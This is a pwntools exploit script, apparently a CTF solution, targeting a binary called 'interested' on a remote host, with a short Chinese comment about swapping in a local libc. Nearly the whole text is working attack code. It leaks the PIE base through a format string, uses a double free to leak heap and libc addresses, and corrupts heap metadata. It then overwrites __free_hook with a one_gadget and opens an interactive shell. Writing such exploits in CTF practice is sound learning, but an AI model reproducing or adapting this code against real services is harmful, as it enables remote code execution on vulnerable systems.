1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
| from pwn import *
#p = process("./interested")
p = remote("123.56.85.29","3041")
context.log_level = 'debug'
p.recvuntil("Input your code please:")
#libc = ELF("interested").libc #它的脚本是这句，但是在我虚拟机上跑不出来，说是libc版本的问题，后面他发给我一个给我，改成下面的语句
libc=ELF("libc.so.6")
p.sendline("OreOOrereOOreO\n%6$p")
p.sendline("0")
p.recvuntil("OreOOrereOOreO\n0x")
pie = int(p.recv(12),16) - 0x9e0
def add(o_size,o_data,re_size,re_data):
p.recvuntil("do :")
p.sendline('1')
p.recvuntil("length : ")
p.sendline(str(o_size))
p.recvuntil(": ")
p.sendline(o_data)
p.recvuntil("length : ")
p.sendline(str(re_size))
p.recvuntil(": ")
p.sendline(re_data)
def edit(index,o_data,re_data):
p.recvuntil("do :")
p.sendline('2')
p.recvuntil("ID : ")
p.sendline(str(index))
p.recvuntil(": ")
p.sendline(o_data)
p.recvuntil(": ")
p.sendline(re_data)
def free(index):
p.recvuntil("do :")
p.sendline('3')
p.recvuntil("ID : ")
p.sendline(str(index))
def show(index):
p.recvuntil("do :")
p.sendline('4')
p.recvuntil("ID : ")
p.sendline(str(index))
one = [0x45216,0x4526a,0xf02a4,0xf1147]
add(0x50,'a',0x50,'a')#1
add(0x70,'a',0x70,'a')#2
add(0x50,'a',0x70,p64(0)+p64(0x81))#3
add(0x70,'a',0x70,'a')#4
free(2)
free(2)
show(2)
p.recvuntil("oreo's O is ")
heap = u64(p.recv(6)+'\0\0')-0x180
print hex(heap)
edit(2,'aaa',p64(heap+0x270))
add(0x70,'a',0x70,'a')#5
edit(3,'aaa',p64(0)+p64(0xf1))
free(5)
edit(3,'aaa','a'*0x10)
show(3)
p.recvuntil("a"*0x10)
libc.address = u64(p.recv(6)+'\0\0')-0x3C4B0A
print hex(libc.address)
edit(3,'aaa',p64(0)+p64(0xf1)+p64(libc.address+0x3C4B78)+p64(libc.address+0x3C4B78))
add(0x61,'a',0x70,'a')#6
free(1)
edit(1,'a',p64(pie+0x202168))
add(0x50,'a',0x50,p64(0x90)*0x6+p64(pie+0x202010))#7
edit(1,'a',p64(0))
edit(7,'a',p64(0x90)*0x6+p64(libc.sym['__free_hook']))
edit(1,'a',p64(libc.address+one[1]))
free(1)
#add(0x50,'a',0x50,p64(0x90)*0x6+p64(libc.sym['__malloc_hook']))#7
#gdb.attach(p)
p.interactive()
|
